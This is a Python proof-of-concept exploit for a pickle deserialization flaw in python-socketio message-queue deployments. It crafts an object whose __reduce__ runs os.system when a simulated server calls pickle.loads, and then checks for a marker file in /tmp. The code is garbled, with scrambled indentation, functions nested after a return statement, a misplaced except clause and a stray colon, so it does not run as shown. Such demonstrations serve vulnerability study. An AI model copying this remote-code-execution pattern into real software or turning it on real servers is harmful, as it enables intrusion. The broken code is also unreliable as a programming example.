Vulnerable code sample

import pickle
import os
import sys

# This code represents the actions of an attacker with access to the
# message queue used by a multi-server python-socketio deployment.
class RemoteCodeExecutor:
    """
    A malicious class designed to execute a command upon deserialization.
    When an object of this class is deserialized by pickle.loads(), its
    __reduce__ method is called, which in turn executes a system command.
    """
    def __reduce__(self):
        """Vulnerable function that demonstrates the security issue."""
        # The command to be executed on the vulnerable server.
        # For this demonstration, we create a file to prove execution.
        command = "echo 'Vulnerability CVE-2025-61765 exploited' > /tmp/pwned"
        
        # __reduce__ returns a tuple: (callable, (arguments...))
        # This will cause os.system(command) to be executed during deserialization.
        return (os.system, (command,))

        def create_malicious_payload():
            """
            The attacker crafts the malicious object and serializes it using pickle.
            This serialized data is the payload that will be injected into the
            message queue (e.g., Redis or RabbitMQ).
            """
            malicious_object = RemoteCodeExecutor()
    # The payload is the pickled representation of our malicious object.
            payload = pickle.dumps(malicious_object)
            return payload

# This part of the code simulates a vulnerable python-socketio server
# process (version < 5.14.0) that is listening to the message queue.
            def vulnerable_server_process_message(message_from_queue):
                """
                Simulates the server receiving a message from the queue and processing it.
                The vulnerability lies in the direct and unsafe deserialization of the
                message using pickle.loads().
                """
                print("[SERVER] Received message from queue. Deserializing...")
                try:
        # VULNERABLE LINE: The server trusts the message and deserializes it,
        # which triggers the remote code execution.
                    pickle.loads(message_from_queue)
                    print("[SERVER] Message deserialized successfully.")
                    except Exception as e:
                        print(f"[SERVER] An error occurred: {e}")

                        if __name__ == '__main__':
    # 1. Attacker crafts the payload.
                            print("[ATTACKER] Crafting malicious pickle payload...")
                            malicious_payload = create_malicious_payload()
                            print("[ATTACKER] Payload created. Injecting into message queue.")

                            print("-" * 50)

    # 2. Vulnerable server receives the payload from the message queue.
    # In a real-world scenario, this would happen in a different process
    # or on a different machine.
                            vulnerable_server_process_message(malicious_payload)
    
                            print("-" * 50)
    
    # 3. Verify that the exploit was successful.
                            print("[VERIFICATION] Checking if the exploit was successful..."):
                            if os.path.exists('/tmp/pwned'):
                                print("[VERIFICATION] SUCCESS: The file '/tmp/pwned' was created.")
                                with open('/tmp/pwned', 'r') as f:
                                    print(f"[VERIFICATION] File content: '{f.read().strip()}'")
        # Clean up the created file.
                                    os.remove('/tmp/pwned')
                                else:
                                    print("[VERIFICATION] FAILURE: The file '/tmp/pwned' was not found.")